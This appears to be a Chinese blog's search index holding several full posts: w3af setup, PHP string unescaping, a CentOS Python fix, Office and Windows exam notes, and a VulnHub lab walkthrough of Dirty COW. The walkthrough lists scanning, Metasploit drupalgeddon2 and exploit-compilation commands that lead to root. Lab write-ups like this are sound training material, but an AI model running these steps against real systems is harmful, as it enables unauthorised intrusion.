next release. Usage of w3af for sending any traffic to a target without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Do you accept the terms and conditions? [Ny] y w3af>>> exit 设置环境变量123456789┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo vim /etc/profile # 添加在最后一行export PATH=$PATH:/opt/漏洞分析/w3af ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo source /etc/profile","tags":["Kali","信息安全"],"categories":["Kali"]},{"title":"PHP-JSON 字符串转义问题","path":"/2022/06/23/92579896/","content":"总字符数: 0.48K 代码: 0.02K, 文本: 0.17K 预计阅读时间: 1 分钟 我们会发现有一些字符被转义了,此时我们就需要用到stripslashes()函数 stripslashes() 函数的作用是还原一个被转义的字符串,也就是去除在字符串中加入的反斜线,语法格式如下: 1stripslashes($str) 其中,$str 为需要还原的字符串. stripslashes() 函数会返回一个去除转义反斜线后的字符串(\\' 转换为',双反斜线 \\\\ 被转换为单个反斜线 \\) 问题解决!!!出坑","tags":["PHP","编程语言"],"categories":["编程语言","PHP"]},{"title":"Linux-Centos升级Python3.x版本踩过的坑","path":"/2022/06/16/9c8b50f0/","content":"总字符数: 0.38K 代码: 0.14K, 文本: 0.08K 预计阅读时间: 1 分钟 我把 CentOS7.6 默认自带的 Python 2.7.5 升级成了 Python 3.7.0,而有些文件包括 /usr/bin/firewall-cmd 脚本需要由 python2 来执行. 问题分析出来了,那就开始解决 1234vim /usr/bin/yumvim /usr/libexec/urlgrabber-ext-downvim /usr/bin/yum-config-manager将第一行注释中的python2修改成环境变量中对应的文件名,我的有效环境变量是python2.6.1","tags":["Centos","运维"],"categories":["安全运维","Linux"]},{"title":"VulnHub-脏牛提权复现","path":"/2022/03/10/8c8446e0/","content":"总字符数: 3.37K 代码: 0.67K, 文本: 0.66K 预计阅读时间: 6 分钟 漏洞描述脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大. 漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会.修改su或者passwd程序就可以达到root的目的. 漏洞危害低权限用户利用脏牛漏洞可以在众多Linux系统上实现本地提权 影响范围(如果你的内核版本低于以下版本,则还存在此漏洞): 1234567Centos7/RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7 3.2.82-1 漏洞复现靶场: https://www.vulnhub.com/entry/lampiao-1,249/ https://download.vulnhub.com/lampiao/Lampiao.zip arp-scan 扫描主机arp-scan -l nmap 扫描目标主机开放端口nmap -sS -T4 -p 1-65535 -v 192.168.64.141 发现drupal,利用漏洞通过开放的1898端口进入网站,看到目标网站,发现网站cms是drupal 1234567# msf 搜索drupal漏洞,使用可利用漏洞进行攻击>search drupal# exploit/unix/webapp/drupal_drupalgeddon2>use 1>set rhosts 192.168.64.141>set rport 1898>run 信息收集上传信息收集脚本,发现存在脏牛提权漏洞 1upload /tmp/linux-exploit-suggester.sh /tmp/lasc.sh 进入shell 执行信息收集脚本,执行结果中发现[CVE-2016-5195]脏牛漏洞 1234shellcd /tmpchmod 777 lasc.sh./lasc.sh 漏洞利用 下载exp,上传exp 1234567# 40611没成功,使用40847mv 40847.cpp /tmp/ upload /tmp/40847.cpp /tmp/lasc.cpp# 进入shell编译执行exp,得到登录密码shellg++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp lasc.cpp -lutil./exp 打开交互式shell,切换root用户,提权成功","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"第四章Excel 2010","path":"/2021/11/01/518e1241/","content":"总字符数: 8.06K 代码: 无, 文本: 4.76K 预计阅读时间: 21 分钟 认识ExcelExcel 2010的窗口组成 名称框 编辑栏 单元格名称框 按钮组 编辑框 列标、行号 当前单元格 工作表编辑区 工作表控制按钮 工作表标签 插入工作表按钮 工作簿与工作表 可以以文件的形式存盘 工作簿:是指在Excel中用来存储并处理数据的文件,其扩展名是.xlsx 工作表(Sheet):是由一个行和列交叉排列的二维表格 单元格 任何的单元格地址都是其列标和行号的组合,且必须是列标在前,行号在后每个单元格都有一个唯一的地址 删除工作表 永久删除无法撤销 数据类型及编辑数值型数据 数值型数据默认右对齐,数字与非数字的组合均作为文本型数据处理 输入分数时:在分数前输入0(零)及一个空格 如:0 5/6 输入负数时应在负数前输入负号或将其置于括号中 如:-8或(8) 在单元格中输入超过11位的数字时,Excel会自动使用科学计数法来显示该数字 Excel只保留15位的数字精度 日期和时间型数据 默认状态下:日期和时间型数据在单元格中右对齐 日期分隔符:”/“,”-“ 时间分隔符:”:” 如果要基于12小时制输入时间,则在时间(不包括只有小时数和冒号的时间数据)后输入一个空格,然后输入AM或PM来表示上午或下午 Ctrl+;—>当天的日期 Ctrl+Shift+;—>当前时间 AM/PM—>上午/下午 文本型数据 默认左对齐要输入纯数字的文本如身份证号等,应在第一个数字前加英文符号单引号’ 数据的清除和删除 清除(delete等同于Backspace):清除单元格格式、单元格中的内容及格式、批注、超链接等单元格本身并不受影响 数据删除的对象是单元格、行或列,即单元格、行或列的删除.删除后,选取的单元格、行或列连同里面的数据都从工作表中消失 数据有效性 用于定义可以在单元格中输入或应该在单元格中输入那些数据 自动填充数据 初值为纯数字型数据 直接拖动填充柄—>复制填充 Ctrl+拖动—>正数部分自动增1 初值为日期时间型数据 直接拖动填充柄—>自动增1以日、时为单位 Ctrl+拖动—>复制填充 初值为纯文字型数据 始终为复制填充 初值为文字型数据和数字型数据混合体,填充时文字不变,数字递增减 直接拖动填充柄—>最右的数字自动增1 Ctrl+拖动—>复制填充 初值为Excel预设序列中的数据 直接拖动填充柄—>按按预设序列填充 Ctrl+拖动—>复制填充 公式与函数公式 公式以”=”开始,一个公式一般包含单元格有引用、运算符、值、常量、函数等几种元素 四类运算符 算术运算符 比较运算符True and False excel字母比较不区分大小写(字符串比较从第一个开始顺序比较) 文本运算符 引用运算符 “:”称为单元格引用运算符:用于定义一个连续的数据区域 “,”称为联合运算符:用于将多个引用合并成一个引用 “ “(空格)称为交叉运算符,表示只处理区域中相互重叠的部分 :(冒号)、 (空格)、,(逗号)—>%(百分比)—>^(乘幂)—>*(乘)、/(除)—>+(加)、-(减)—>&(连接符)—> =、<、>、<=、>=、<>(比较运算符) 引用方式 相对引用 单元格地址会随着公式所在位置而异如:=F2+G2 绝对引用 单元格地址不会随着公式所在位置而异 形式是在每一个列标及行号前加一个"$"符号.如:$A$2 混合引用 单元格或单元格区域的地址部分是相对引用,部分 是绝对引用如:$A2、A$2 F4切换引用方式 三维地址引用 在Excel中,不但可以引用同一工作表中的单元格, 还能引用不同工作表中的单元格.引用格式:[工作簿]工作表名!单元格引用如:[工作簿2]Sheet1!E3 函数出错信息表错误值 可能的原因 ##### 列宽不足 or 日期时间公式产生负值 #>VALUE! 参数或运算对象类型错误 or 公式自动更正功能失效 #DIV/0! 公式被0除 #NAME? 使用了无法识别的文本 #N/A 无可用数值 #REF! 单元格引用无效 #NUM! 数字有问题 #NULL! 试图为不相交的区域指定交叉点 常用函数求和函数Sum(number1,number2,….) 计算一组数值number1,number2,….的总和(如果错误或无法转换的值将会自动忽略) 单条件求和函数SumIF(range,criteria,[sum_range]) 用于对区域中符合指定条件的值求和 需求:统计系别为城市规划的同学的哲学总分=SUMIF(C3:C11,"城市规划",F3:F11) range参数(必选):用于条件计算的单元格区域.每个区域中的单元格都必须是数字或名称、数组或包含数字的引用,但空值和文本值将被忽略 criteria参数(必选):用于确定对哪些单元格求和的条件,其形式可以为数字、表达式、单元格引用、文本或函数例如,条件可以表示为32、”>32”、B5、”TRUE”或TODAY()等 任何文本条件或任何含有逻辑或数字符号的条件都必须使用双引号括起来.如果条件为数字,则无需使用双引号 sum_range参数(可选):指要求和的实际单元格.如果sum_range参数被省略,Excel会对range参数中指定的单元格(即应用条件的单元格)求和 多条件求和函数sumifs(sum_range, criteria_range1, criteria1, [criteria_range2, criteria2, …) 需求:统计系别为”城市规划”性别为”女”的哲学分=SUMIFS(F2:F11,C2:C11,"城市规划",E2:E11,"女") sum_range:实际求和区域 criteria_range1:第一个条件区域 criteria1:第一个对应的求和条件 criteria_range2:第二个条件区域 criteria2:第二个对应的求和条件 求平均值函数Average(number1,number2,…..) 计算number1,number2,…..的平均值 number1,number2,…..为要计算平均值的参数,参数可以是数字或涉及数字的名称、数组或引用. 如果数组或单元格引用参数中有文字、逻辑值或空单元格则忽略其值;如果单元格包含零值则计算在内 计数函数Count(value1,value2,….) Count函数计算单元格以及参数列表中数值数据的个数 如果参数为数字、日期或者代表数字的文本(例如:用引号引起的数字,如”1”),则将被计算在内 逻辑值和直接键入到参数列表中代表数字的文本则被计算在内 如果参数为错误值或不能转换为数字的文本,则不会计算在内 如果参数为数组或引用,则只计算数组或引用中数字的个数,不会计算数组或引用中的空单元格、逻辑值、文本或错误值 筛选计数CountIF(Range,criteria) 统计区域中满足给定条件的单元格个数 需求:统计系别为”城市规划”的人数=COUNTIF(C2:C11,"城市规划") range:要统计的单元格区域 criteria:指定的条件表达式 其形式可以为数字、表达式、单元格引用或文本 允许引用的单元格区域中有空白单元格出现 COUNTIFS(条件匹配查询区域1,条件1,条件匹配查询区域2,条件2,以此类推……) 需求:统计系别为”城市规划”哲学分为80分以上的人数=COUNTIFS(C2:C11,"城市规划",F2:F11,">80") 排名函数Rank(number,ref,order) 返回单元格number在一个垂直区域ref中的排名 需求:排名=RANK(J3,$J$3:$J$11,0) number:为需要找到排位的数字 ref:为包含一组数字的数组或引用绝对引用 order:为一数字用来指明排位的方式 降序:如果order为0或省略,则Excel将ref当作按降序排列的数据清单进行排位 升序:如果order不为零,Excel将ref当作按升序排列的数据清单进行排位 Max/Min(number1,number2,….) Max、Min分别用来求解数据集的极值(即最大值、最小值) 其中:number1,number2,….为需要找出最大数值的参数区域.参数中的空白单元格、逻辑值或文本将被忽略 IF(logical_test,[value_if_true],[value_if_false]) 如果指定条件的计算结果为True,则IF函数将返回[value_if_true];如果该条件的计算结果为False,则返回[value_if_false] logical_test参数(必选),是计算结果可能为True或False的任意值或表达式 value_if_true参数是计算结果为True时所要返回的值 value_if_false参数是计算结果为False时所要返回的值 需求如果总分大于300为优,大于250为二级优等于200为三级优=IF(J3>300,"优",IF(J3>250,"二级优",IF(J3=200,"三级优"))) 取字符串子串函数Left、Right、Mid 都是字符串提取函数 Left(text,num_chars) 从左向右取 text:文本,是包含要提取字符串的文本字符串,可以是一个字符串,或是一个单元格引用 chars:是想要提取的个数 Right(text,num_chars) 从右向左取 text:文本,是包含要提取字符串的文本字符串,可以是一个字符串,或是一个单元格引用 chars:是想要提取的个数 Mid(text,start_num,num_chars) 从左向右取,但不一定是从第一个起,可以从中间开始 text:文本,是包含要提取字符串的文本字符串,可以是一个字符串,或是一个单元格引用 start_num:要提取的开始字符 num_chars:是想要提取的个数 AND、OR语法格式为:函数(logical1,logical2,….) 参数必须是逻辑值True或False,或者包含逻辑值的数组或引用.参数中的文本或空白单元格将被忽略.如果指定的单元格区域内包括非逻辑值,则AND将返回错误值”#VALUE!”,表示参数错误 AND函数 所有参数的逻辑值为真时,返回True;只要一个参数的逻辑值为假,即返回False OR函数 所有参数的逻辑值为假时,返回False;只要一个参数值为真,即返回True VlookUp(Lookup_value,table_array,col_index_num,[range_lookup]) 使用VlookUp函数搜索某个单元格区域的第一列,然后返回该区域相同行上任何单元格中的值 查找李东同学的总成绩=VLOOKUP("李东",$B$3:$J$11,9)李东为你要查找区域的第一列数据,9代表的是从B3开始数总分列为第9列,区域要为绝对引用,相对引用的话会导致填充时区域随着公式位置而变 Lookup_value(必选参数):即要查找的值,可以是值或引用 如果Lookup_value参数提供的值小于table_array参数第一列中的最小值,则VLookUp将返回错误值#N/A Table_array(必选参数):即查找的范围 Col_index_num(必选参数):是Table_array参数中要返回的匹配值对应的列号 Col_index_num参数为1时,返回Table_array第一列中的值以此类推 Range_lookup(可选参数):是一个逻辑值,指定希望VlookUp查找精确匹配值还是近似匹配值 如果Range_lookup为True或被省略,则返回精确匹配值或近似匹配值;如果找不到精确匹配值,则返回小于Lookup_value的最大值 系统日期和时间函数now()返回系统当前时间year(now()):获取系统当前年份month(now()):获取系统当前月份=day(now()):获取系统当前第多少天=year(now())-mid(A1,7,4)获取多少岁A1:'370509200106012000 mod(number,divisor)=mod(被除数,除数)date(year,month,day)给出指定数值的日期在单元格中输入:=date(2021,13,35)结果为:2022-2-4特别提醒:由于上述公式中,月份为 13,多了一个月,顾延至2022年1月;天数为35,比2022年1月的实际天数又多了4天,故又顺延至2022年2月4日 数据处理数据清单 具有二维表特性的电子表格在Excel中被称为Excel数据清单又称Excel数据库,其中行表示记录,列表示字段.数据清单的第一行必须为文本类型,为相应列的名称(每一列包含相同类型的数据) 排序 Excel 2010中最多按64个关键字排序,Word 2010表格中,最多按3个关键字排序排序是对数据清单中的一列或多列数据按升序或降序排列的一种组织数据的手段 简单排序:只需选中该列中的任一单元格 单击”数据”选项卡—>”排序和筛选”组—>”升序”或”降序”命令或”自定义序列”进行排序 复杂排序:对多列进行排序 在需排序的数据清单中选择任一单元格—>”数据”选项卡—>”排序和筛选”组—>”排序”命令—>弹出”排序对话框” 筛选 有条件地筛选出满足某种条件的记录行:而另一部分不满足条件的记录行只是暂时隐藏起来 自动筛选 选择数据清单中的任一单元格—>”数据”—>”排序和筛选”—>”筛选”命令,数据清单中的每个字段名旁边会显示一个向下的三角箭头为筛选器箭头多个列之间只能”与运算”不能”或运算” 高级筛选:根据复合条件或计算条件来对数据进行筛选 筛选条件区域由两部分组成 类似于一个只包含条件的数据清单 条件的列标题和具体的筛选条件 条件区域中,若条件是”与”关系则将条件放在同一行,若是”或”关系则将条件放在不同行 分类汇总 指的是对数据清单某个字段中的数据进行分类,并对各类数据进行各种统计及计算,如求和、计数、求平均值和最大值等.在进行分类汇总之前,需要对分类的数据项进行排序复制汇总结果:alt+; 数据透视表 能够将筛选、排序和分类汇总等操作依次完成,并生成汇总表格.数据透视表功能强大,可以对数据进行分类、汇总、筛选等,制造出所需要的数据统计报表 模拟分析 指通过更改单元格中的值来查看这些更改对工作表中公式结果的影响的过程 模拟分析工具 方案管理器 模拟运算表 单变量求解 图表 基于工作表中的数据建立的,是工作表单元格中数据的图形化表示,以直观形象的形式显示数据及数据之间的关系.工作表中的数据发生变化时,图表中对应项的数据系列自动变化 分类 嵌入式图表 它和创建图表的数据源放置在同一张工作表中,打印时同时打印 独立图表 他说一个独立的图表工作表,打印时也将与数据表分开打印 组成 图表区 图表标题 图例 绘图区 垂直轴标题 水平轴标题 垂直抽 水平轴 网格线 数据系列 数据系列对应工作表中的一行或者一列数据 数据标签 迷你图 类似于图标功能,只不过将其简化,使其可以显示在一个单元格中,简单地以一个图表的样子在一个单元格内显示出指定单元格内的一组数据的变化 折线图 柱形图 盈亏图 快捷键 Ctrl+单击工作表—>形成工作组 在Sheet1的操作可同步到工作组中的其他工作表 Ctrl+鼠标拖动工作表—>复制工作表 Ctrl+Enter—>在选定的多个单元格内输入相同内容 Ctrl+9—>隐藏行 Ctrl+0—>隐藏列 Ctrl+F1—>打开/隐藏功能区 Ctrl+F12—>打开 Ctrl+;—>当天的日期 Ctrl+Shift+;—>当前时间 Alt+Enter—>单元格内强制换行 Alt+;—>复制汇总结果 Alt+F1—>建立图表 Shift+F11—>在当前工作表前插入新工作表 Shift+12—>保存 F2—>显示当前单元格的公式 F4->切换引用方式 F12—>另存为","tags":["计算机基础"]},{"title":"第三章Word 2010","path":"/2021/10/21/77eb77a2/","content":"总字符数: 5.32K 代码: 无, 文本: 1.79K 预计阅读时间: 8 分钟 Office 2010 基本知识 应用程序界面结构 标题栏 控制菜单图标 快速访问工具栏(可以定制) 窗口控制按钮 文档名称 程序名称 窗口控制按钮 功能区 在”文件”—>”选项”—>”自定义功能区”可以减少和增加 功能区工具栏可以定制 每个选项卡由多个组 组成,每个组又包括多个命令 文件 开始 插入 页面布局 引用 邮件 审阅 视图 文档编辑区 有水平和垂直两种标尺 状态栏 注意插入和改写的区别 显示当前文档的页数/总页数 字数 输入语言 输入状态 视图切换按钮和显示比例调节工具 Backstage视图 “文件”选项卡即可查看Backstage视图(文件级功能),包含用于对文档执行操作的命令集 要退出Backstage视图可以单击”开始”选项卡或者快捷键Esc Office 2010应用程序帮助的使用 单击功能区右侧的”Microsoft Word帮助”按钮 快捷键F1 Backstage视图中单击”帮助” Word 2010 的基本操作 视图 页面视图 最接近打印结果 页眉 页脚 图形对象 分栏设置 页面边距 阅读版式视图 以图书的分栏样式显示 Web版式视图 以网页的形式显示,适用于发送电子邮件和创建网页 大纲视图 显示层级结构,广泛用于长文档,不显示图片 草稿视图 仅显示标题和正文,是最节省计算机系统硬件资源的视图方式 文档的编辑 输入文本内容 “即点即输” 文字处单击鼠标左键 空白处双击左键 插入/改写—-Insert(快捷键) 插入符号 “插入”选项卡—>”符号” 选定文本 左边选定栏/选定区 单击—>行 双击—>段 三击/Ctrl+A/Ctrl+单击—>全文 段落内 单击—>光标定位 双击—>选中一个词/字 三击—>选中一段 Ctrl+单击—>选中一句话 Alt+鼠标选定—>选择垂直文本 Shift+光标—>选择连续文本 Ctrl+光标—>选择不连续文本 “开始”—>”编辑”—>”选择” 剪贴板:可以存放最近24次复制/剪贴的内容 文档校对 “审阅”—>”校对”/F7 绿色波浪线—->可能存在语法错误 红色波浪线—>拼写错误 字数统计 “审阅”—>”校对”—>”字数统计” 字数统计对话框中显示了当前文档的页数、字数段落数、行数等信息 统计方式 任意选定部分内容统计 全文统计 文档格式化与排版 格式刷(Ctrl+Shift+C) 只能复制格式,不能复制内容 单击只能刷一次 双击可刷多次 解除格式刷:再次单击”格式刷”/Esc(快捷键) 快速清除格式:Ctrl+Shift+Z/N 不能清除高亮显示 设置段落格式 文档中两次回车之间的所有字符,包括段后的回车符 段落对齐方式 两端对齐 左对齐 居中对齐 右对齐 分散对齐 段落缩进方式 设置方式 “段落”工具组 “段落”对话框 水平标尺 左缩进 右缩进 首行缩进 悬挂缩进 回车 硬回车:enter 换行的同时分隔段落 软回车:Shift+回车 换行不换段 项目符号和编号添加多级列表 降级 “段落”组—>”增加缩进量”按钮 Tab(快捷键) 升级 “段落”组—>”减少缩进量”按钮 Shift+Tab(快捷键) 分页分节分栏 分页:Ctrl+Enter组合键插入人工分页符,自动分页符不能手工删除 分节:节是独立的编辑单位,不同节可以设置不同格式 分栏:与分栏符不同,可以设置为多栏 页眉页脚:”插入”选项卡—>”页眉/页脚”/双击页眉/页脚区域 页眉页脚不能和内容同时编辑 样式和模板 样式(不是文件) 样式:一系列排版格式的总和,包括字符格式,段落格式等 模板(文件) 模板可以包含样式,扩展名: .dotx 自动恢复 默认值10分M可以修改的范围[1,120]M 自动备份的副本后缀名.wbk 常用快捷键 应用操作 Alt+F4—>退出应用程序 Crtl+Alt+P—>打开页面视图 Ctrl+F1—>最小化及还原功能区 Ctrl+S/Shift+F12—>保存文档 F12—>另存为文档 Ctrl+O/Ctrl+F12—>打开文档 Ctrl+W—>关闭相应文档窗口而不退出应用程序 Ctrl+P—>进入打印预览 F1—>打开”帮助” Esc—>退出Backstage视图 内容处理 文字操作 Ctrl+B—>加粗 Ctrl+I—>倾斜 Ctrl+U—->下划线 Alt+鼠标选定—>选中垂直文本 Ctrl+A—>选中全文 Ctrl+Shift+C—>格式刷 Ctrl+Shift+Z/N—>快速清除格式 Insert/鼠标单击—>插入/改写 段落操作 Enter—>人工分段 选择操作 Ctrl+单击—>选中一句话 Shift+Home—>快选到行首 Shift+End—>快选到行尾 Ctrl+Shift+Home—>快选到文档首部 Ctrl+Shift+End—>快选到文档尾部 基本操作 Shift+Enter—>人工换行 Ctrl+Enter—>人工分页(换页) Ctrl+F—>查找 Ctrl+H—>替换 Ctrl+G/F5—>定位 Ctrl+Home/Ctrl+End—>跳到文档首/尾 Home/End—>行首/尾 Ctrl+Shift+F9 取消目录链接 Ctrl+K—>插入超链接 Ctrl+Y—>重复操作 F7—>”校对” 多级列表 Tab—>增加缩进量 Shift+Tab—>减少缩进量 域代码 Shift+F9 域代码和域结果切换 F9域更新","tags":["计算机基础"]},{"title":"第二章Windows 7操作系统","path":"/2021/10/15/66207078/","content":"总字符数: 3.54K 代码: 无, 文本: 1.77K 预计阅读时间: 8 分钟 第二章:Windows 7操作系统操作系统概述 操作系统为用户提供友好的界面,操作系统是一组控制和管理计算机系统的硬件和软件资源合理的组织计算机工作流程并为用户使用计算机提供系良好运行环境的一种系统软件 操作系统的功能 处理机功能 存储管理 设备管理 文件管理 作业管理(要求计算机所做工作的集合称为作业) 操作系统的主要特征 两大重要特征:并发性,共享性 并发性(同一时段内同时运行) 共享性 虚拟性 异步性(又称随机性) 操作系统的分类 功能特征 批处理操作系统 分时操作系统(多路性交互性及时性独占性)时间片轮转 实时操作系统(实时性高可靠性完整性) 使用环境 嵌入式操作系统 个人计算机操作系统 网络操作系统 分布式操作系统 常见操作系统 DOS操作系统 UNIX操作系统 Linux操作系统 Windows操作系统多用户多任务 Mac OS操作系统 IOS操作系统 Android操作系统 Windows 7 基础 WIN7优点: 更简单 更安全 更好的连接 更低的成本 基本操作 桌面:计算机启动完成后,显示器上显示的整个屏幕区域称为桌面 桌面的主要元素 图标 “开始”按钮 快捷方式(扩展名:.lnk) 任务栏 “开始”菜单 快速启动栏 任务按钮区 通知区域 显示桌面按钮 窗口的组成 只要运行某个应用程序或打开某个文档,就会对应出现一个矩形区域,这个矩形区域称为窗口 边框 搜索栏 *匹配多个任意字符 ?匹配一个任意字符 “前进/后退”按钮 工具栏(工具栏上的按钮会根据查看的内容不同而又所变化) 导航窗格(树形) 标题栏 详细信息面板 菜单栏 “朝右三角”还有下级菜单 “···”单击此菜单会打开一个对话框 “对号”复选菜单 “●”单选菜单如果是灰色表示当前不可用 滚动条(当内容超出屏幕时,系统自动生成) 对话框 交互,可以移动位置,不能改变大小,不能最大化最小化,没有任务栏图标 模式对话框 主程序窗口被禁止,只有关闭该对话框才能处理主窗口 非模式对话框 即使在对话框被显示时仍可处理主窗口的对话框 剪切板 在内存中开辟的临时存储区域 文件和文件夹的概念 文件(File)是指具有文件名、存放在外存储器上的一组相关信息的集合 文件名不能使用特殊符号\\/:*?"<>,文件名最多255个字符,中文127个字符,不区分大小写 计算机通过文件夹来组织管理文件 扩展名:标志着文件的类型 可执行文件扩展名:.exe .bat .com 音频格式:.wav 位图格式:.bmp 视频格式:mpeg 录音机(扩展名:.wma) 画图(扩展名:png) 写字板(扩展名:.rtf) 资源管理器(分层方式显示文件) 快捷键Win+E 库:默认已经设置了视频、图片文档和音乐的字库 可以将一个文件夹(非文件)添加到库,库中并不真正存储文件,而是快捷方式,如同网页收藏夹 新建文件只能新建已经在操作系统中注册过的文件类型 文件和文件夹的属性都可以设置为”只读”,”隐藏”,”存档” 同C异拖(复制) 同拖异S(移动) Windows 7 控制面板 控制面板是一些实用程序的集合 Windows操作系统自带的查看及修改系统设置的图形化工具 打印机 默认打印机的图标左下角有一个”对号”标志 在打印过程中用户可以取消/暂停正在打印或打印队列中的打印作业 程序 分类 绿色软件:复制,删除 非绿色软件:安装,卸载 用户账户(win7有家长控制功能) Administrator And Guest为默认禁用状态 Administrator(管理员) Guest(来宾) 标准账户 Windows 7 系统维护 磁盘格式化 完全格式化 清除磁盘中的所有数据并且对磁盘进行扫描检查,将发现的坏道、坏区进行标注并不会修复 快速格式化 只清除磁盘中的所有数据 磁盘错误检查 检测当前磁盘分区存在的错误,进而对错误进行修复 清理磁盘 清理磁盘中的”垃圾”,使得可用存储空间变大 磁盘碎片整理 重新排列碎片数据,提高磁盘存取速度 Windows 7 实用程序 画图(扩展名:png/.bmp) 记事本(单文本编辑环境,只能编辑纯文本,默认扩展名:.txt) 写字板(扩展名:.rtf) 计算器 截图工具(能够将屏幕中显示的内容截取为图片,保存为文件,复制到其他程序) 任意格式截图 矩形截图 窗口截图 全屏幕截图 录音机(扩展名:.wma) 数学输入面板 Windows 7 快捷键 删除文件/文件夹 delete 删除(进入回收站) shift+delete (不进入回收站,直接删除) PrintScreen 截图全屏并复制 Alt+PrintScreen 截图活动窗口并复制 输入法快捷键 Ctrl+空格—中英文切换 Shift+空格—全半角切换 Ctrl+.—中英文标点 Ctrl+Shift—输入法切换 启动任务管理器 Ctrl+Alt+Delete Ctrl+Shift+Esc “开始”菜单 Ctrl+Esc Win键 搜索窗口 可以根据文件修改日期,文件类型,文件大小搜索 F3 窗口切换 Win+Tab(3D) Alt+Tab Alt+Esc 资源管理器:Win+E “运行”对话框:Win+R 关闭当前程序或窗口:Alt+F4 帮助:F1","tags":["计算机基础"]},{"title":"第一章计算机基础知识","path":"/2021/10/13/f65e33/","content":"总字符数: 12.96K 代码: 1.55K, 文本: 5.92K 预计阅读时间: 32 分钟 第一章:计算机基础知识信息与信息技术 信息与数据 信息是在自然界、人类社会和人类思维活动中普遍存在的一切物质和事物的属性 数据:是指存储在某种媒体上可以加以鉴别的符号资料,数据是信息的具体表现形式,是信息的载体,信息的符号化就是数据.信息是对数据进行加工得到的结果,他可以影响到人们的行为,决策,或对客观事物的认知 信息社会也称信息化社会,是继工业化社会以后,以信息活动为社会发展的基本活动的新型社会形态 信息技术是指人们获取、存储、传递、处理、开发和利用信息资源的相关技术 计算机技术概论 计算机的起源与发展 计算机起源:1946年2月在美国的宾夕法尼亚大学投入运行的ENIAC(十进制) 1最先实现存储的电子计算机是Edvac 计算机的发展:根据计算机采用的元器件的不同,将发展分为四代p3 第一代:1946~1956电子管,机器语言、汇编语言,军事领域、科学计算 第二代:1956~1964晶体管,高级语言,数据处理、工业控制 第三代:1964~1971中小规模集成电路,操作系统、会话式语言,文字处理、图形处理 第四代:1971~至今大规模、超大规模集成电路,数据库计算机网络,社会各个方面 计算机思想:英国数学家查尔斯·巴贝奇最先提出通用数字计算机的基本设计思想,在设计一种基于计算自动化的程序控制的分析机时提出了几乎是完整的计算机设计方案,被称为”计算机之父” 计算机的特点及分类 特点 运算速度快 计算精度高 存储容量大 具有逻辑判断能力 工作自动化 通用性强 分类 处理对象 模拟计算机 数字计算机 混合计算机 规模 巨型机(重点) 微型机(重点) 大型机 小型机 微型机 工作站 用途 专用计算机 通用计算机 应用领域 科学计算 数据处理 计算机辅助系统 计算机辅助设计(CAD) 计算机辅助制造(CAM) 计算机辅助测试(CAT) 计算机辅助教育(CBE) 计算机辅助教学(CAI) 计算机管理教学(CMI) 计算机集成制造系统(CIMS) 计算机中信息的表示 在计算机中,不管是什么样的数据都用二进制编码形式表示和处理 数制:用进位的原则进行计数称为进位计数制,又称进制 基数:数码是一组用来表示某种数值的符号,数制所使用的数码个数就称为”基数”或”基” 位权:数码在不同位置上的权值称为位权 常用进位计数制 十进制(D),逢十进一,借一当十数码:0-9 二进制(B),逢二进一,借一当二数码:0-1 八进制(O),逢八进一,借一当八数码:0-7 十六进制(H),逢十六进一,借一当十六数码:0-9A-F 进制转换 R进制(二进制、八进制、十六进制)转10进制 标指数 按权展 和相加 十进制转二进制 整数除二取余法,余数倒排 小数乘2法,乘积的整数部分正排 二进制转八进制,一组三个,421法 二进制转十六进制一组四个,8421法 二进制运算和规则 末地址-首地址+1=存储单元数量 算数运算规则 加法规则 0+0=0 0+1=1 1+0=1 1+1=10 减法规则 0-0=0 10-1=1 1-0=0 1-1=0 乘法规则 0*0=0 0*1=0 1*0=0 1*1=1 除法规则 0/1=0 1/1=1 百分号运算% 幂运算^ 逻辑运算规则 逻辑与(AND)都为1取1,否则为0 逻辑或(OR)都为1取1,否则为0 逻辑非运算(NOT),0变1,1变0 逻辑异或(XOR)一个为0一个为1时,结果为1,其他为0 信息存储单位 位是计算机存储信息的最小单位(Bit,b) 字节是计算机中用来表示存储空间大小的最基本单位(Byte,B) 1KB=2^10^B=1024B 1MB=2^20^B=1024KB 1GB=2^30^B=1024MB 1TB=2^40^B=1024GB 字通常取字节的整倍数,是计算机进行数据存储和处理的运算单位 数值的表示 BCD码:十进制数的每一位用二进制(4位)代码表示,这种编码方法简称BCD码又称8421法 机器数:就是将十进制数值的符号,最高位用0(正),1(负)表示 1例(-1)=二进制:1(最高位)000 0001 真值:就是带+-(正负号) 12将最高位1写成了负号,这就是真值的书写形式真值:-000 00001或(-1) 机器数的表现形式:原码、补码、反码、移码 原码:符号位加上真值的绝对值,即用最高位表示符号,余位表示值0为正,1为负 123(1) = 0 000 0001(-1) = 1 000 0001 符号位 数值位 反码:正数的反码是其本身,负数的反码是在其源码的基础上,符号位不变,其余各位取反 1234561-1 = 1 + (-1) [0000 0001](原码) [1000 0001](原码) [0000 0001](反码:正数不变) [1111 1110](负数数值位取反) =[1111 1111](反码+反码=反码) =[1000 0000](将其转换为原码) =-0(真值) 补码:正数的补码就是其本身,负数的补码是在其反码的基础上符号位不变,其余各位取反,最后一位+1(即在反码的基础上最后一位+1) 12补码=反码+1-1反码:[1111 1110]+1=[1111 1111]补码 移码:又称增码或偏码,常用于表示浮点数中的阶码移码=补码符号位取反 1如:(-1)(真值)=[1111 1111](-1补码)--->(符号位取反)[0111 1111](移码) 信息的编码 ASCII码又称西文字符 标准的ASCII码采用7位二进制编码,因此一个字符在计算机内实际使用一个字节8位表示 A:65,a:97,0:48,空格:32.空格<数字<大写<小写,十进制大小相差32,十六进制大小相差20H 在ASCII码中控制符号的字符是无法打印或显示出来的 